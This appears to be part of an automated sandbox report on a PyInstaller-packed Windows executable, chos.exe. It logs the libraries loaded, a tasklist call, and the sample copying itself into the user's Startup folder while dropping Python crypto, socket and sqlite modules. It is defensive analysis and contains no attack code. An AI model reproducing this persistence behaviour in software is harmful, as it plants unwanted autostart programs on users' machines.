Source: C:\Windows\System32\curl.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dll
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: chos.exeStatic PE information: Image base 0x140000000 > 0x60000000
Source: chos.exeStatic file information: File size 17703403 > 1048576
Source: chos.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: chos.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: chos.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: chos.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: chos.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: chos.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: chos.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: chos.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: chos.exe, 00000000.00000003.1426590138.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641456665.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: chos.exe, 00000000.00000003.1427464931.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642650213.00000243B8843000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: chos.exe, 00000000.00000003.1427624541.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642801872.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: chos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641621400.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: chos.exe, 00000000.00000003.1428914450.0000018B76862000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_wmi.pdb(('GCTL source: chos.exe, 00000000.00000003.1429055969.0000018B76862000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: chos.exe, 00000000.00000003.1428323610.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1643743903.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: chos.exe, 00000000.00000003.1428168179.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1643387769.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: chos.exe, 00000000.00000003.1427624541.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642801872.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: chos.exe, 00000000.00000003.1426840290.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641792858.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: chos.exe, 00000000.00000003.1429055969.0000018B76862000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: chos.exe, 00000000.00000003.1426422530.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641240155.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: chos.exe, 00000000.00000003.1426422530.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641240155.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: chos.exe, 00000000.00000003.1428399209.0000018B76862000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: chos.exe, 00000000.00000003.1428077354.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1643035111.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: chos.exe, 00000000.00000003.1426590138.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641456665.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: chos.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: chos.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: chos.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: chos.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: chos.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Source: VCRUNTIME140.dll.0.drStatic PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]
Source: VCRUNTIME140.dll.0.drStatic PE information: section name: fothk
Source: VCRUNTIME140.dll.0.drStatic PE information: section name: _RDATA
Source: libcrypto-3.dll.0.drStatic PE information: section name: .00cfg
Source: libssl-3.dll.0.drStatic PE information: section name: .00cfg
Source: python313.dll.0.drStatic PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.10.drStatic PE information: section name: fothk
Source: VCRUNTIME140.dll.10.drStatic PE information: section name: _RDATA
Source: libcrypto-3.dll.10.drStatic PE information: section name: .00cfg
Source: libssl-3.dll.10.drStatic PE information: section name: .00cfg
Source: python313.dll.10.drStatic PE information: section name: PyRuntim

Persistence and Installation Behavior

barindex
Found pyInstaller with non standard icon
Source: C:\Users\user\Desktop\chos.exeProcess created: "C:\Users\user\Desktop\chos.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe"
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_BLAKE2b.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_arc2.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\charset_normalizer\md.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cbc.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\libffi-8.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA1.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\libcrypto-3.dllJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_ctypes.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_ssl.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD4.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_ghash_portable.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\libffi-8.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_ghash_portable.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD5.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_lzma.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Math\_modexp.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\python313.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_decimal.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_cffi_backend.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA256.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\sqlite3.dllJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_overlapped.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_ARC4.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_Salsa20.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA512.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA384.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_decimal.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_curve25519.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ctr.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cfb.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ed25519.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Protocol\_scrypt.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\libcrypto-3.dllJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_cast.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ed448.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_bz2.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ec_ws.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_overlapped.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_uuid.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_des.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\select.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA224.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_uuid.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\python313.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Util\_strxor.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\pyexpat.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography\hazmat\bindings\_rust.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ecb.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\libssl-3.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cfb.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_BLAKE2b.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_RIPEMD160.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD2.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_aesni.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_aesni.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_ghash_clmul.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_ghash_clmul.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_curve25519.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ofb.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ed448.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\VCRUNTIME140_1.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ocb.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_asyncio.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ec_ws.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_keccak.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_ctypes.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_multiprocessing.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_aes.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD5.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\VCRUNTIME140.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_hashlib.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_MD4.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA384.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_queue.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_poly1305.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_Salsa20.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_curve448.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_asyncio.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_SHA512.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_wmi.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_chacha20.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_ofb.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_socket.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\unicodedata.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_BLAKE2s.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\charset_normalizer\md__mypyc.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_BLAKE2s.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_wmi.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_ARC4.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\libssl-3.dllJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_curve448.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\python3.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA256.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\unicodedata.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash\_poly1305.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\cryptography\hazmat\bindings\_rust.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\VCRUNTIME140_1.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA224.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_hashlib.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\charset_normalizer\md__mypyc.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_des3.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\select.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util\_cpuid_c.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\_cffi_backend.cp313-win_amd64.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_arc2.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util\_strxor.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_RIPEMD160.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\_sqlite3.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\VCRUNTIME140.dllJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey\_ed25519.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\sqlite3.dllJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ctr.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\python3.dllJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_chacha20.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher\_raw_aes.pydJump to dropped file
